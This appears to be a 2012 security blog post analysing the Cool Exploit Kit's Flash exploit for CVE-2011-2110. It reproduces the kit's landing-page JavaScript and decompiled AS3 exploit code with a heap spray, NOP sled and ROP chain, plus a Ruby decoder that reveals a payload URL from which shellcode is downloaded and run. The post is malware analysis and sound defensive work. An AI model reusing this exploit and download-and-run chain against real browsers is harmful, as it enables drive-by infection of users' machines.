Friday, November 30, 2012

Flash exploit (CVE-2011-2110) and Cool Exploit Kit

The Cool Exploit kit is using two flash vulnerabilities for the exploits. In this particular post, The vulnerability for CVE-2011-2110 will be analyzed. The post will highlight on analyzing the attack using flash exploit instead of detail on the vulnerability of CVE-2011-2110. ARTeam has a great writeup explaining on CVE-2011-2110 here. For this blogpost, the focus start is still the index page of Cool Exploit Kit

The JavaScript retrieved from index page is as below
//JS code from Index's page. Only relavent code associated with Flash attack will be
//showed
//<snip><snip>....<snip>
 
function ShowPDF() {
                var pdf = (PluginDetect.getVersion("AdobeReader") + ".").toString().split(".");
                var vver = "";
                if (pdf[0] < 8) {
                    vver = "old";
                    setTimeout("FlashExploit()", 8003);
                } else if (pdf[0] == 8 || (pdf[0] == 9 && pdf[1] < 4)) {
                    vver = "new";
                    setTimeout("FlashExploit()", 7004);
                } else {
                    //<F1><EB><F3><E4><F3><FE><F9><E8><E9> <FD><EA><F1><EF><EB><EE><E9><F2>

                  FlashExploit();
                }
                if (vver != "") {
                    var d = document.createElement("div");
                    d.innerHTML = '<iframe src="../media/pdf_' + vver + '.php"></iframe>';
                    document.body.appendChild(d);
                }
            }

function FlashExploit() {
                var ver = ($$.getVersion("Flash") + ".").toString().split(".");
                if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || ((ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == (11 - 1) && ver[1] < 2))) {
                    var oSpan = document.createElement("span");
                    document.body.appendChild(oSpan);
                    oSpan.innerHTML = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='../media/field.swf' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='../media/field.swf' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'></embed></object>";
                } else if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
                    var oSpan = document.createElement("span");
                    document.body.appendChild(oSpan);
                    var avmurl = "02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8";
                    oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='../media/flash.swf?info=" + avmurl + "' /><embed src='../media/flash.swf?info=" + avmurl + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"
                }

}

//<snip><snip>....<snip>

The function of FlashExploit() will be triggered after pdf attacks related executed. The analysis will be on FlashExploit().

Upon inspecting FlashExploit(), two different flash files are prepared. Depending on version target different file will be loaded. In this article, the flash file will be analyzed is the one loaded to match with these versions or lesser than 10.3.181.24  or  lesser than 10.3.181

In the setup for loading the flash, one parameter avmurl is initialize and assigned to:


var avmurl = "02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8"
Inspecting further, the flash file, located at (../media/flash.swf) will receive the avmurl as the first parameter. The analysis of the flash.swf file is required to understand the what it will do with avmurl parameter.  Partial AS3 code below is belong to flash.swf file after decompiled
//
package 
{
        public class Main extends flash.display.MovieClip
        {
                public function Main()
                {
                        var i:uint = 0;
                        var loader:URLLoader = null;
                        var onLoadComplete:Function = null;
                        var onLoadComplete:Function = function(arg0:flash.events.Event):void
                        {
                                var local1:*;
                                content = loader.data;
                                i = 0;
                                while(i < content.length)
                                {
                                        content[i] = (content[i]) ^ 122;
                                        local1 = i + 1;
                                        i = local1;
                                }
                                content.uncompress();
                                content_len = content.length;
                                var local0:* = new ByteArray();
                                code = local0;
                                local0.position = 1024 * 1024;
                                local0.writeInt(2053274210);
                                local0.writeInt(2053339747);
                                local0.writeInt(2053405283);
                                local0.writeObject(local0);
                                exploit(local0, local0);
                                trace(local0.length);
                        };
                        var param:* = root.loaderInfo.parameters;
                        var t_url:hexToBin = param[((('i') + ('n')) + ('f')) + ('o')];
                        while(i < t_url.length)
                        {
                                t_url[i] = (t_url[i]) ^ 122;
                                var i:uint = i + 1;
                        }
                        t_url.uncompress();


//<snip><snip>....<snip>
At line number 35, the code retrieved a paramater from "info" which indeed belong to passed parameter  from JavaScript code. The info paramater will be converted from hex to bin and will be XOR with 122 key. The xor'ed param will be uncompressed (Flash is using zlib library for decompression) next. By knowing this details, we can now inspect what is actually "info" paramater is. In this example, a ruby approach is choose to demonstrate the implementation (it seems code in ruby is much easier to implement as oppose to setup AS3 development set, if you already have the as3 ready, just copy-paste the relavant code sample). Below is the ruby code to achieve the same logic:

//ruby code to mimic the AS3 code for manipulating "info" param

require 'zlib'
info="02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8"
data=""
info.scan(/../) { |a| data << (a.to_i(16)^122)}
puts Zlib::Inflate.inflate(data)

Run the code with:
shell>$ruby infoswf.rb 
http://transport.hitandrun.cc/r/f.php?avm=1

The result of "info" manipulation seems to be an URL. The URL will be used by code as showed on code snippet below:

//<snip>..<snip>
                               {
                                                error_arr.uncompress();
                                        }
                                }
                        }
                        var url_str:String = t_url;
                        var loader:URLLoader = new URLLoader();
                        loader.dataFormat = URLLoaderDataFormat.BINARY;
                        loader.addEventListener(Event.COMPLETE, onLoadComplete);
                        loader.load(new URLRequest(t_url.toString()));
                }

//<snip>..<snip>
Further analysis as3 code revealed that the URL contains a xor with 122 key shellcode. The as3 code snippet below showed the URL will be downloaded and XOR with 122.
//<snip>..<snip>
public
function Main() {
    var i: uint = 0;
    var loader: URLLoader = null;
    var onLoadComplete: Function = null;
    var onLoadComplete: Function = function (arg0: flash.events.Event): void {
        var local1: * ;
        content = loader.data;
        i = 0;
        while (i & lt; content.length) {
            content[i] = (content[i]) ^ 122;
            local1 = i + 1;
            i = local1;
        }
        content.uncompress();
        content_len = content.length;
        var local0: * = new ByteArray();
        code = local0;
        local0.position = 1024 * 1024;
        local0.writeInt(2053274210);
        local0.writeInt(2053339747);
        local0.writeInt(2053405283);
        local0.writeObject(local0);
        exploit(local0, local0);
        trace(local0.length);
    };


//<snip>..<snip>
The as3 code snippet below showed is basically the exploit code to trigger the vulnerability of CVE-2011-2110 and setup the NOP Sled.
//<snip>..<snip>

public function exploit(): void {
    var uint1: uint = 0;
    var local2: * = this.code;
//Trigger the 1st memory leak
    var number1: Number = new Number(parseFloat(String(local0[1073741841])));
    var local4: * = new ByteArray(); < dup > new ByteArray().position = 0;
    local4.writeDouble(number1);
    var local5: * = ((((local4[0]) * 16777216) + ((local4[1]) * 65536)) + ((local4[2]) * 256)) + (local4[3]);
    this.baseaddr = local5;
    local2.position = 0;
    local2.endian = Endian.LITTLE_ENDIAN;
    local2.writeInt(((this.pobj - 1) + 16) + ((1024 * 4) * 100));
    local2.endian = Endian.BIG_ENDIAN;
    local2.writeUnsignedInt(1094861636);
    local2.writeUnsignedInt(1094861636);
    local2.writeUnsignedInt(1162233672);
    uint1 = 0;
//setup NOP Sled 41414141
    while (uint1 < 1024 * 100) {
        local2.writeUnsignedInt(1094795585);
        uint1 = uint1 + 1;
    }
//<snip>..<snip>

//ROPing
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;

//<snip>..<snip>

//9090 NOP Sled
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.endian = Endian.BIG_ENDIAN;

//write XOR'ed data with 122 key retrieved from the URL (info)
local2.writeBytes(this.content, 0, this.content.length);
//<snip>..<snip>

//Trigger another memory leak
var number2: Number = new Number(parseFloat(String(local0[1073741741])));
var local7: * = new ByteArray();

//<snip>..<snip>

Inspecting the code further reveal a similarity of metasploit's module for "adobe_flashplayer_arrayindexing".

The next post will be on malicious PDF or another Flash vulnerability. 

No comments: